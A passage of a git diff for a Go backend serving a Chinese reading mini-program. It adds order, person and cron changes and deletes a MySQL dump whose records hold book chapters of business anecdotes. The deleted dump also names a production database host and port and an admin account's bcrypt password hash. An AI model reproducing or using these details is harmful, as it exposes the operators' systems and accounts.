`gorm:"column:status;size:20;index" json:"status"` // pending_pay / paid / cancelled / expired + Status string `gorm:"column:status;size:20;index" json:"status"` // pending_pay / paid / refunded / cancelled / expired Quantity int `gorm:"column:quantity;default:1" json:"quantity"` RedeemedCount int `gorm:"column:redeemed_count;default:0" json:"redeemedCount"` PayerUserID *string `gorm:"column:payer_user_id;size:50" json:"payerUserId,omitempty"` diff --git a/soul-api/internal/model/person.go b/soul-api/internal/model/person.go index f6790935..10fa6b0e 100644 --- a/soul-api/internal/model/person.go +++ b/soul-api/internal/model/person.go @@ -8,6 +8,10 @@ import "time" type Person struct { ID uint `gorm:"primaryKey;autoIncrement" json:"id"` + // 绑定用户(用于“超级个体开通后自动创建@人”等幂等场景) + // 允许为空:历史数据/手工创建的 Person 不一定绑定 user + UserID *string `gorm:"column:user_id;size:50;uniqueIndex" json:"userId"` + PersonID string `gorm:"column:person_id;size:50;uniqueIndex" json:"personId"` Token string `gorm:"column:token;size:36;uniqueIndex" json:"token"` // 32 位唯一 token,文章/小程序传此值 Name string `gorm:"column:name;size:100" json:"name"` diff --git a/soul-api/internal/router/router.go b/soul-api/internal/router/router.go index c9f335c2..61171403 100644 --- a/soul-api/internal/router/router.go +++ b/soul-api/internal/router/router.go @@ -147,6 +147,8 @@ func Setup(cfg *config.Config) *gin.Engine { { cron.GET("/sync-orders", handler.CronSyncOrders) cron.POST("/sync-orders", handler.CronSyncOrders) + cron.GET("/sync-vip-ckb-plans", handler.CronSyncVipCkbPlans) + cron.POST("/sync-vip-ckb-plans", handler.CronSyncVipCkbPlans) cron.GET("/unbind-expired", handler.CronUnbindExpired) cron.POST("/unbind-expired", handler.CronUnbindExpired) } diff --git a/soul-api/scripts/add-persons-user-id.sql b/soul-api/scripts/add-persons-user-id.sql new file mode 100644 index 00000000..ca958cd9 --- /dev/null +++ b/soul-api/scripts/add-persons-user-id.sql @@ -0,0 +1,10 @@ +-- persons 表新增 user_id:用于“超级个体开通后自动创建@人”等幂等绑定 +-- 说明: +-- - 允许为空(历史数据/手工创建不绑定 user) +-- - 允许多条 NULL(MySQL UNIQUE 对 NULL 不冲突) +-- - 绑定后建议一人仅一条 Person(满足“昵称同名@人”需求) + +ALTER TABLE persons + ADD COLUMN user_id VARCHAR(50) DEFAULT NULL COMMENT '绑定用户ID(幂等创建@人)', + ADD UNIQUE KEY uk_persons_user_id (user_id); + diff --git a/soul_miniprogram.sql b/soul_miniprogram.sql deleted file mode 100644 index e3973770..00000000 --- a/soul_miniprogram.sql +++ /dev/null @@ -1,2380 +0,0 @@ -/* - Navicat Premium Data Transfer - - Source Server : Soul读书小程序 - Source Server Type : MySQL - Source Server Version : 50736 (5.7.36-txsql-log) - Source Host : 56b4c23f6853c.gz.cdb.myqcloud.com:14413 - Source Schema : soul_miniprogram - - Target Server Type : MySQL - Target Server Version : 50736 (5.7.36-txsql-log) - File Encoding : 65001 - - Date: 11/03/2026 11:54:03 -*/ - -SET NAMES utf8mb4; -SET FOREIGN_KEY_CHECKS = 0; - --- ---------------------------- --- Table structure for admin_users --- ---------------------------- -DROP TABLE IF EXISTS `admin_users`; -CREATE TABLE `admin_users` ( - `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, - `username` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `password_hash` varchar(128) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `role` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'admin', - `name` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `status` varchar(16) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'active', - `created_at` datetime(3) NULL DEFAULT NULL, - `updated_at` datetime(3) NULL DEFAULT NULL, - `deleted_at` datetime(3) NULL DEFAULT NULL, - PRIMARY KEY (`id`) USING BTREE, - UNIQUE INDEX `idx_admin_users_username`(`username`) USING BTREE, - INDEX `idx_admin_users_deleted_at`(`deleted_at`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 2 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of admin_users --- ---------------------------- -INSERT INTO `admin_users` VALUES (1, 'admin', '$2a$10$HAeSB.jJ1bO.01oRB5H2feAosSQJXnCY.DyY6LHmK7rks2NfE/hSK', 'super_admin', '卡若', 'active', '2026-03-04 03:10:05.444', '2026-03-04 03:10:05.444', NULL); - --- ---------------------------- --- Table structure for author_config --- ---------------------------- -DROP TABLE IF EXISTS `author_config`; -CREATE TABLE `author_config` ( - `id` int(11) NOT NULL AUTO_INCREMENT, - `name` varchar(80) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL, - `avatar` varchar(4) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, - `avatar_img` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, - `title` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, - `bio` text CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL, - `stats` text CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL, - `highlights` text CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL, - `created_at` datetime(3) NULL DEFAULT NULL, - `updated_at` datetime(3) NULL DEFAULT NULL, - PRIMARY KEY (`id`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 2 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of author_config --- ---------------------------- -INSERT INTO `author_config` VALUES (1, '卡若', 'K', '', 'Soul派对房主理人 · 私域运营专家', '每天早上6点到9点,在Soul派对房分享真实的创业故事。专注私域运营与项目变现,用云阿米巴模式帮助创业者构建可持续的商业体系。', '[{\"label\":\"商业案例\",\"value\":\"62\"},{\"label\":\"连续直播\",\"value\":\"365天\"},{\"label\":\"派对分享\",\"value\":\"1000+\"}]', '[\"12年私域运营经验\",\"帮助100+品牌从0到1增长\",\"连续创业者,擅长商业模式设计\"]', '2026-03-03 16:43:03.000', '2026-03-07 13:49:16.475'); - --- ---------------------------- --- Table structure for chapters --- ---------------------------- -DROP TABLE IF EXISTS `chapters`; -CREATE TABLE `chapters` ( - `mid` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, - `id` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `part_id` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `part_title` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `chapter_id` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `chapter_title` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `section_title` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `content` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL, - `word_count` bigint(20) NULL DEFAULT NULL, - `is_free` tinyint(1) NULL DEFAULT NULL, - `price` decimal(10, 2) NULL DEFAULT NULL, - `sort_order` bigint(20) NULL DEFAULT NULL, - `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `created_at` datetime(3) NULL DEFAULT NULL, - `updated_at` datetime(3) NULL DEFAULT NULL, - `view_count` int(11) NULL DEFAULT 0, - `purchase_count` int(11) NULL DEFAULT 0, - `is_new` tinyint(1) NULL DEFAULT NULL, - `hot_score_override` decimal(10, 2) NULL DEFAULT NULL, - `edition_standard` tinyint(1) NULL DEFAULT NULL, - `edition_premium` tinyint(1) NULL DEFAULT NULL, - PRIMARY KEY (`mid`) USING BTREE, - UNIQUE INDEX `idx_chapters_id`(`id`) USING BTREE, - INDEX `idx_part_id`(`part_id`) USING BTREE, - INDEX `idx_chapter_id`(`chapter_id`) USING BTREE, - INDEX `idx_status`(`status`) USING BTREE, - INDEX `idx_sort_order`(`sort_order`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 212 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of chapters --- ---------------------------- -INSERT INTO `chapters` VALUES (1, '1.1', 'part-1', '第一篇|真实的人', 'chapter-1', '第1章|人与人之间的底层逻辑', '荷包:电动车出租的被动收入模式', '\"每个人都在梦想特斯拉帮他挣钱,我现在电动车帮我挣钱。\"\n\n2025年10月21日,周一,早上6点18分。\n\nSoul派对房里进来一个人,声音很稳。\n\n他上麦之后,先听了十分钟。\n\n然后说了一句话:\"你讲的被动收入,我做了好几年了。\"\n\n我愣了一下。\n\nSoul上吹牛的人太多,但这个人的语气不像吹牛。\n\n---\n\n\"那你是做什么的?\"\n\n\"电动车。\"\n\n\"电动车?卖车的?\"\n\n”不是,出租的。\"\n\n\"出租电动车?\"\n\n\"对,在泉州,我有1000辆电动车。\"\n\n派对房里,突然安静了。\n\n---\n\n\"1000辆?怎么做的?\"\n\n他笑了。\n\n\"其实很简单。\"\n\n\"你找一个工厂、工业园区,那里有很多工人,对吧?\"\n\n\"工人上下班需要交通工具,骑电动车最方便。\"\n\n\"但买一辆电动车要两三千块,很多人舍不得。\"\n\n\"那我就租给他们。\"\n\n他停了一下。\n\n\"一个月三百六十几块,一天算下来才十几块钱。\"\n\n\"工人觉得划算,我也稳定赚钱。\"\n\n---\n\n派对房里,有人打字:\"那你一个月能赚多少?\"\n\n他说:\"1000辆车,一个月就是三十多万流水。\"\n\n\"扣掉成本、维护、人工,净利润大概十几万。\"\n\n\"关键是,这是被动收入。\"\n\n\"车放在那里,每个月都有钱进来。\"\n\n---\n\n我问:\"那你怎么找到这些工厂的?\"\n\n他说:\"一开始是自己一家一家跑。\"\n\n\"后来我发现,最好的办法是找做人力的人合作。\"\n\n\"做人力的,手上有大量的工厂资源。\"\n\n\"他给我介绍工厂,我给他分成。\"\n\n---\n\n派对房里,有人问:\"那你现在还在扩张吗?\"\n\n他说:\"刚投了100多万,在河源又铺了500辆。\"\n\n我有点惊讶。\n\n\"河源?那不是广东那边吗?\"\n\n他说:\"对,我在Soul上认识了一个小伙伴,姓李,大家叫他犟总。\"\n\n\"他在河源那边有个工业园区,5万多平,工人非常多。\"\n\n\"我们一聊,觉得这个事情可以做,就直接签了。\"\n\n---\n\n派对房里,有人说:\"等等,你们是在Soul上认识的?\"\n\n他说:\"对,就是在这个派对房里。\"\n\n我笑了。\n\n\"这可能是我们派对房第一个真正落地的合作。\"\n\n他说:\"可不是嘛。\"\n\n\"犟总那边做人力,我这边有车,一拍即合。\"\n\n\"他负责场地和工人,我负责车和运营。\"\n\n\"500辆车拉过去,直接就开始赚钱了。\"\n\n---\n\n派对房里,有人问:\"那你这个模式能复制吗?\"\n\n他说:\"当然能。\"\n\n\"你只要找到有大量人口的地方,工厂、学校、工业园区都行。\"\n\n\"然后投车进去,租出去就完了。\"\n\n他停了一下。\n\n\"我现在还在看宝盖山那边。\"\n\n\"石狮那个理工学校,有两万六的学生。\"\n\n\"如果能摆电动车进去,又是一个新的点。\"\n\n---\n\n我问:\"那你这个生意最难的是什么?\"\n\n他想了一下。\n\n\"最难的是找到对的合作伙伴。\"\n\n\"你一个人做不了这个事情,你需要有人帮你搞定场地。\"\n\n\"场地有了,车铺进去,后面就是运营的事情了。\"\n\n他继续说:\"所以我现在花很多时间在Soul上。\"\n\n\"因为这里能认识各种各样的人。\"\n\n\"做人力的、做地产的、做工厂的,什么人都有。\"\n\n\"你多聊,总能找到合适的合作伙伴。\"\n\n---\n\n派对房里,有人问:\"那你还做什么?\"\n\n他说:\"车身广告。\"\n\n\"我1000辆电动车,每辆车身上都可以贴广告。\"\n\n\"一天一辆车才3毛钱,一个月9块钱。\"\n\n\"但1000辆车,一个月就是9000块额外收入。\"\n\n\"关键是,这个钱几乎没有成本,纯利润。\"\n\n---\n\n我问:\"所以你的生意模式是,车租出去赚租金,车身贴广告赚广告费?\"\n\n他说:\"对,两条腿走路。\"\n\n\"租金是主要收入,广告是锦上添花。\"\n\n\"以后车多了,广告这块收入会越来越高。\"\n\n---\n\n那天聊完,已经快9点了。\n\n我在派对房里总结了一下。\n\n\"刚才荷包分享的,是一个非常典型的被动收入模式。\"\n\n\"什么叫被动收入?\"\n\n\"就是你把资产放在那里,它自己给你赚钱。\"\n\n\"可以是房子出租,可以是电动车出租,可以是任何有需求的资产。\"\n\n我停了一下。\n\n\"但被动收入不是躺着赚钱。\"\n\n\"前期你要投入资金、要找合作伙伴、要铺设网络。\"\n\n\"等这些都做好了,后面才能相对轻松。\"\n\n---\n\n早上9点12分,荷包说他要去准备出发了。\n\n\"今天500辆车都到河源了,我要过去盯一下。\"\n\n\"祝你顺利。\"\n\n\"谢了。下次回来给大家汇报进展。\"\n\n派对房里有人说:\"这才是Soul的正确用法。\"\n\n我笑了。\n\n确实,在这里认识的人,在这里谈成的合作,在这里落地的项目。\n\n这才是商业社会里社交的真正价值。\n\n不是认识多少人,而是能不能和对的人一起做对的事。\n\n荷包和犟总,一个有车,一个有场地。\n\n两个人在Soul上认识,在现实中落地。\n\n这就是资源整合最简单的样子。', 4979, 0, 1.00, 1, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.469', 24, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (2, '1.2', 'part-1', '第一篇|真实的人', 'chapter-1', '第1章|人与人之间的底层逻辑', '老墨:资源整合高手的社交方法', '\"有些人手上没有一个项目,但他认识所有有项目的人。\"\n\n2025年10月25日,周六,早上6点15分。\n\n这是我对老墨的第一印象。\n\nSoul派对房里进来一个人,声音很稳,不像大多数人那样急着表达自己。\n\n他上麦之后,先听了十分钟。\n\n然后说了一句话:\"你讲的资源整合,我做了15年。\"\n\n我愣了一下。\n\n\n---\n\n\"那你是做什么的?\"\n\n\"财务。\"\n\n\"财务公司?\"\n\n\"对,但我不是做账的,我是做资源整合的。\"\n\n这句话,让我来了兴趣。\n\n\n\"你看,一家企业需要做账,对吧?\"\n\n\"但做账只是一个入口。\"\n\n\"企业还需要什么?税筹、退税、融资、法律、客户资源。\"\n\n\"我手上有很多企业客户,每一家都有不同的需求。\"\n\n他停了一下。\n\n\"我的生意,就是把A的需求,对接给B的资源。\"\n\n\"中间抽几个点。\"\n\n---\n\n派对房里,有人打字:\"这不就是中介吗?\"\n\n他说:\"你可以这么理解。\"\n\n\"但我不是普通的中介。\"\n\n\"我是有背书的中介。\"\n\n\"那你怎么找到这些资源的?\"\n\n\"我每天花三个小时,在Soul派对房里听人聊天。\"\n\n我有点惊讶。\n\n\"Soul?\"\n\n他点点头。\n\n\"Soul上什么人都有。做税筹的,做退税的,做供应链的,做融资的。\"\n\n\"我每天上麦,不说话,就听。\"\n\n\"听他们在讲什么项目,讲什么资源,讲什么需求。\"\n\n\"然后我加他们微信,进飞书,慢慢聊。\"\n\n他停了一下。\n\n\"三个月,我在Soul上认识了80个老板。\"\n\n\"每个老板手上都有不同的资源。\"\n\n\"我的工作,就是把他们链接起来。\"\n\n---\n\n派对房里,有人问:\"他们为什么愿意给你分钱?\"\n\n他说:\"因为我给他们带客户。\"\n\n他给我们讲了一个案例。\n\n\"今年年初,我在Soul上认识了一个做退税的老板。\"\n\n\"他说,他的退税业务,只针对年流水比较大的企业。\"\n\n\"但他找不到客户。\"\n\n他停了一下。\n\n\"我手上有很多企业客户,我一筛选,发现有一些符合条件。\"\n\n\"我说,我把客户给你,你帮我分成。\"\n\n\"他说,怎么分?\"\n\n\"我说,你收服务费,分我一部分。\"\n\n\"他说,没问题。\"\n\n---\n\n派对房里,有人问:\"那客户为什么愿意接受你的介绍?\"\n\n他说:\"因为我给他们做账。\"\n\n\"我每个月给他们发财务报表。\"\n\n\"报表里面,我会写:您的企业今年缴税XX万,我们有合作伙伴可以帮您优化税务,预计可以节省XX万。\"\n\n\"这句话一写,客户就会问我。\"\n\n\"我说,我认识一个做税筹的朋友,很靠谱,要不要我介绍给你?\"\n\n\"客户说,可以。\"\n\n他看着我。\n\n\"然后我就把客户介绍过去。\"\n\n\"客户省了钱,我分了成,那个老板也赚了钱。\"\n\n\"大家都开心。\"\n\n---\n\n有人问:\"那你怎么保证那个老板靠谱?\"\n\n他说:\"我会先自己测试。\"\n\n\"第一次合作,我不会介绍大客户。\"\n\n\"我先介绍一个小客户,看他怎么做。\"\n\n\"如果他做得好,客户满意,我再介绍大客户。\"\n\n\"如果他做得不好,我就不再合作。\"\n\n他停了一下。\n\n\"所以我手上的资源,都是经过验证的。\"\n\n\"客户信任我,是因为我只给他们推荐靠谱的人。\"\n\n---\n\n派对房里,又是一阵沉默。\n\n\"为什么大部分人做不了资源整合?\"\n\n\"因为他们不舍得分钱。\"\n\n\"很多人觉得,我介绍客户给你,你应该感谢我。\"\n\n\"但其实,应该是我感谢他。\"\n\n\"因为他提供了服务,客户才满意。\"\n\n\"我只是做了一个链接。\"\n\n他停了一下。\n\n\"所以我每次介绍客户,都会主动提出分成。\"\n\n\"我不等他来找我分钱,我先说,这个项目我们怎么分?\"\n\n\"这样,大家都觉得我很靠谱。\"\n\n派对房里,有人打字:\"学到了。\"\n\n---\n\n那天聊完,已经快9点了。\n\n我在派对房里总结了一下。\n\n\"刚才那位老板,给了我们一个很好的示范。\"\n\n\"什么叫资源整合?\"\n\n\"第一,你要认识足够多的人。不是泛泛之交,是知道他们手上有什么资源。\"\n\n\"第二,你要有客户。资源整合的本质,是把需求对接给供给。没有需求,你整合不了。\"\n\n\"第三,你要舍得分钱。不要想着自己吃肉,别人喝汤。你分得越多,大家越愿意跟你合作。\"\n\n我停了一下。\n\n\"最重要的是,你要让所有人都觉得,跟你合作是赚钱的,不是被你赚钱的。\"\n\n---\n\n早上9点05分,老墨说他要去见客户了。\n\n临走前他说了一句话:\"我手上没有一个项目,但我年入千万。\"\n\n我笑了。\n\n这就是资源整合的魅力。\n\n你不需要自己做项目,你只需要认识做项目的人。\n\n然后把他们链接起来,让每个人都赚到钱。\n\n你链接得越多,大家越信任你。\n\n你越舍得分钱,大家越愿意跟你合作。\n\n这不是什么高深的道理,但能做到的人,真的不多。', 4945, 0, 1.00, 2, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.481', 30, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (3, '1.3', 'part-1', '第一篇|真实的人', 'chapter-1', '第1章|人与人之间的底层逻辑', '笑声背后的MBTI:为什么ENTJ适合做资源,INTP适合做系统', '

\"你们有没有想过,为什么有些人天生就适合做销售,有些人天生就适合做技术?\"

2025年11月7日,周五,早上7点40分。

那天派对房的气氛特别活跃,一个声音特别有穿透力的女生上了麦。

她一上麦就说:\"我是做MBTI咨询的,专门帮企业做团队分析。\"

\"MBTI?那个性格测试?\"

\"对,但我不是那种网上随便做做的测试。我是专业的,给企业做人才画像的。\"

派对房里有人打字:\"MBTI不是玄学吗?\"

她笑了。

\"你觉得是玄学,是因为你没见过它在商业场景里的应用。\"


我让她分享一下。

她说:\"好,我讲一个真实的案例。\"

\"去年,有一家做私域的公司找我,说他们团队有问题。\"

\"什么问题?销售业绩很好,但是客户留存率很低。\"

\"我去做了一次团队诊断,发现一个很有意思的现象。\"

她停了一下。

\"他们的销售团队,清一色都是ENTJ和ESTP。\"

\"你们知道这意味着什么吗?\"

派对房里,有人问:\"什么意思?\"

她说:\"ENTJ是指挥官型人格,天生喜欢掌控局面,目标导向,执行力强。\"

\"ESTP是企业家型人格,喜欢冒险,反应快,善于抓住机会。\"

\"这两种人,做销售是一把好手。\"

\"但是——\"

她语气一转。

\"他们都有一个共同的问题:不擅长维护关系。\"

\"他们喜欢的是\'成交\'那一刻的快感,不喜欢后续的\'服务\'。\"

\"所以客户买完东西,就再也找不到人了。\"


我问:\"那怎么解决?\"

她说:\"我建议他们招几个INFJ和ISFJ。\"

\"INFJ是提倡者型人格,天生擅长理解他人,共情能力强。\"

\"ISFJ是守护者型人格,细心、耐心、喜欢照顾人。\"

\"让这两种人做客户服务,客户留存率立刻就上去了。\"

她停了一下。

\"三个月后,那家公司的客户复购率从12%涨到了38%。\"

派对房里,有人打字:\"牛逼。\"


我说:\"那你觉得,做私域运营,什么性格最适合?\"

她想了几秒。

\"私域运营其实是一个复合型的工作。\"

\"它需要三种人:获客的、转化的、服务的。\"

\"获客的人,需要ENFP或者ESTP,他们擅长打开局面,建立第一接触。\"

\"转化的人,需要ENTP或者ENFJ,他们擅长说服,能把陌生人变成客户。\"

\"服务的人,需要INFJ或者ISFJ,他们擅长维护关系,能把客户变成长期用户。\"

她停了一下。

\"如果你的团队只有一种类型的人,那你的业务一定是瘸腿的。\"


派对房里,有人问:\"那做技术的呢?什么性格适合?\"

她说:\"INTP和INTJ。\"

\"INTP是逻辑学家型人格,喜欢分析、喜欢研究、喜欢把事情想透。\"

\"INTJ是建筑师型人格,喜欢规划、喜欢系统、喜欢把事情做到极致。\"

\"这两种人,做技术、做系统、做产品,都是一把好手。\"

她看着我。

\"卡若,你是什么类型?\"

我笑了。

\"INTP。\"

\"难怪你喜欢做系统。\"


我说:\"那你能不能给大家讲讲,怎么判断一个人适合做什么?\"

她说:\"最简单的方法,看他的第一反应。\"

\"比如,你跟一个人说,\'我有一个项目,能赚钱\'。\"

\"如果他的第一反应是\'怎么赚?\'——这是ENTJ,他关心的是目标。\"

\"如果他的第一反应是\'为什么能赚?\'——这是INTP,他关心的是逻辑。\"

\"如果他的第一反应是\'谁在做?\'——这是ESFJ,他关心的是人,要和靠谱的人做靠谱的事。\"

\"如果他的第一反应是\'有什么风险?\'——这是ISTJ,他关心的是安全。\"

她停了一下。

\"每个人的第一反应,就是他的底层逻辑。\"

\"你知道了他的底层逻辑,就知道怎么跟他合作。\"


派对房里,有人问:\"那如果我是INFP,适合做什么?\"

她说:\"INFP是调停者型人格,理想主义,有创造力,喜欢表达。\"

\"你适合做内容、做创意、做品牌。\"

\"但你不适合做销售,因为你不喜欢push别人。\"

\"你也不适合做管理,因为你不喜欢冲突。\"

她停了一下。

\"INFP最好的位置,是在一个团队里做\'灵魂\'。\"

\"你负责输出价值观,输出理念,让团队有方向感。\"

\"但具体的执行,交给ENTJ和ESTJ。\"


那天聊完,已经快九点了。

我在派对房里总结了一下。

\"刚才那位小姐姐,给了我们一个很好的框架。\"

\"为什么有些团队做不起来?\"

\"不是因为能力不行,是因为人不对。\"

\"你让INTP去做销售,他会很痛苦。\"

\"你让ENTJ去做客服,他会很暴躁。\"

\"每个人都有自己的天赋区间。\"

\"把对的人放在对的位置,团队才能跑起来。\"


我停了一下。

\"我自己是INTP,所以我喜欢做系统、做流程、做分析。\"

\"我不喜欢跟人聊天,但我喜欢研究人。\"

\"所以我每天早上6点在Soul开派对,不是因为我喜欢社交。\"

\"是因为我喜欢观察。\"

\"观察不同的人,怎么思考,怎么表达,怎么做决策。\"

\"然后把这些观察,变成系统,变成方法论。\"

派对房里,有人打字:\"卡若,你太清醒了。\"

我笑了。

\"清醒不是天生的,是被坑出来的。\"


后来,我经常在Soul派对房里讲MBTI。

每次讲完,都有人问:\"卡若,我是XX类型,适合做什么?\"

我说:\"先问自己三个问题。\"

\"第一,你做什么事情的时候,时间过得最快?那就是你的天赋区间。\"

\"第二,你做什么事情的时候,最容易进入心流状态?那就是你应该深耕的领域。\"

\"第三,你做什么事情的时候,别人觉得很难,你觉得很简单?那就是你的核心竞争力。\"

我停了一下。

\"MBTI只是一个工具,帮你认识自己。\"

\"但认识自己之后,怎么选择,还是要靠你自己。\"


这本书的真实目的,不是教你怎么成功。

而是告诉你,每个人都有自己的天赋区间。

不要跟自己的天性对抗,不要和人性对抗。

找到你的位置,然后深耕。

ENFP适合做资源整合,INTP适合做系统搭建,ISFJ适合做客户服务。

每个人都有自己的战场。

找到它,然后打赢它。

#神仙团队

', 6837, 0, 1.00, 3, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.492', 3, 0, 0, 0.00, NULL, NULL); -INSERT INTO `chapters` VALUES (4, '1.4', 'part-1', '第一篇|真实的人', 'chapter-1', '第1章|人与人之间的底层逻辑', '人性的三角结构:利益、情感、价值观', '# 1.4 人性的三角结构:利益、情感、价值观\n\n\"人和人之间的关系,归根结底就三个东西:利益、情感、价值观。\"\n\n2025年11月15日,周六,早上6点32分。\n\n那天的话题有点深,派对房里聊起了人际关系的本质。\n\n有人问:\"为什么有些合作会散伙?\"\n\n我说:\"因为他们只有利益连接,没有其他的。\"\n\n---\n\n派对房里,有人说:\"利益连接不好吗?\"\n\n我说:\"利益连接当然好,但利益连接是脆弱的。\"\n\n\"为什么?“\n\n”因为利益是会变的。\"\n\n\"今天你能给我带来利益,我们是朋友。\"\n\n\"明天你不能给我带来利益了,我们就不是朋友了。\"\n\n---\n\n我继续说。\n\n\"你看那些商业合作,为什么很多都不长久?\"\n\n\"因为它们只建立在利益的基础上。\"\n\n\"一旦利益分配出了问题,或者一方觉得自己吃亏了,关系就破裂了。\"\n\n---\n\n派对房里,有人问:\"那情感连接呢?\"\n\n我说:\"情感连接比利益连接稳定一些。\"\n\n\"因为情感不会因为利益的变化而马上消失。\"\n\n\"你跟一个人有感情,即使他暂时不能给你带来利益,你也不会马上翻脸。\"\n\n---\n\n我停了一下。\n\n\"但情感连接也有问题。\"\n\n\"情感是会消耗的。\"\n\n\"如果你们之间只有情感,没有利益,也没有共同的价值观,时间长了,情感也会淡。\"\n\n---\n\n我举了个例子。\n\n\"比如很多大学同学,毕业的时候感情很好。\"\n\n\"但毕业十年之后,很多人就不联系了。\"\n\n\"为什么?因为你们之间只有过去的情感,没有现在的利益,也没有共同的追求。\"\n\n\"情感慢慢就消耗完了。\"\n\n---\n\n派对房里,有人问:\"那价值观连接呢?\"\n\n我说:\"价值观连接是最稳定的。\"\n\n\"什么叫价值观连接?就是你们相信同样的东西,追求同样的东西。\"\n\n\"这种连接不会因为利益的变化而改变,也不会因为时间的流逝而消退。\"\n\n---\n\n\n\"你看那些能长期合作的人,他们之间一定有价值观的连接。\"\n\n\"他们相信同样的事情,追求同样的目标。\"\n\n\"即使中间有利益的冲突,他们也能坐下来谈,因为他们知道对方跟自己是同一类人。\"\n\n---\n\n派对房里,有人说:\"那最好的关系是什么样的?\"\n\n我说:\"最好的关系,是三者都有。\"\n\n\"有利益连接,让你们有合作的基础。\"\n\n\"有情感连接,让你们有信任的基础。\"\n\n\"有价值观连接,让你们有长期的基础。\"\n\n---\n\n我停了一下。\n\n\"但现实中,三者都有的关系很少。\"\n\n\"大部分关系,可能只有一个或者两个。\"\n\n\"你要做的是什么?是在不同的关系里,识别出它的性质。\"\n\n---\n\n我继续说。\n\n\"如果一个关系只有利益连接,那你就把它当成生意关系。\"\n\n\"不要对它有太多情感上的期待,谈好利益分配就行。\"\n\n\"如果一个关系只有情感连接,那你就把它当成朋友关系。\"\n\n\"不要跟他谈生意,因为谈生意可能会伤感情。\"\n\n\"如果一个关系有价值观连接,那你就好好珍惜。\"\n\n\"这种关系是最稀缺的,也是最有价值的。\"\n\n---\n\n派对房里,有人问:\"怎么判断一个人跟你有没有价值观连接?\"\n\n我说:\"很简单,看你们聊天的内容。\"\n\n\"如果你们只聊利益——怎么赚钱、怎么合作、怎么分钱——那就是利益连接。\"\n\n\"如果你们只聊情感——最近怎么样、家里怎么样、心情怎么样——那就是情感连接。\"\n\n\"如果你们会聊理想、聊未来、聊你们相信什么、追求什么,那就是价值观连接。\"\n\n---\n\n那天聊完,派对房里有人说:\"我发现我身边大部分关系都是利益连接。\"\n\n我说:\"这很正常。\"\n\n\"成年人的世界,利益连接是最常见的。\"\n\n\"但你不能只有利益连接。\"\n\n\"你需要有几个有情感连接的朋友,让你在低谷的时候有人支持。\"\n\n\"你需要有几个有价值观连接的伙伴,让你在迷茫的时候有人同行。\"\n\n---\n\n我停了一下。\n\n\"人生就像一个三角形。\"\n\n\"利益是底边,让你站得稳。\"\n\n\"情感是一条边,让你不孤单。\"\n\n\"价值观是另一条边,让你走得远。\"\n\n\"三条边都有,三角形才稳定。\"\n\n---\n\n那天早上7点15分,派对房里的人陆续离开。\n\n有人临走前说了一句:\"以后看人,我会先想想这是哪种连接。\"\n\n我觉得,这就够了。\n\n不需要你记住什么大道理,只需要在下次遇到一段关系的时候,能多想一层。\n\n这一层,可能就是你避开一个坑,或者抓住一个机会的关键。\n', 1605, 0, 1.00, 4, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.503', 1, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (5, '1.5', 'part-1', '第一篇|真实的人', 'chapter-1', '第1章|人与人之间的底层逻辑', '沟通差的问题:为什么你说的别人听不懂', '# 1.5 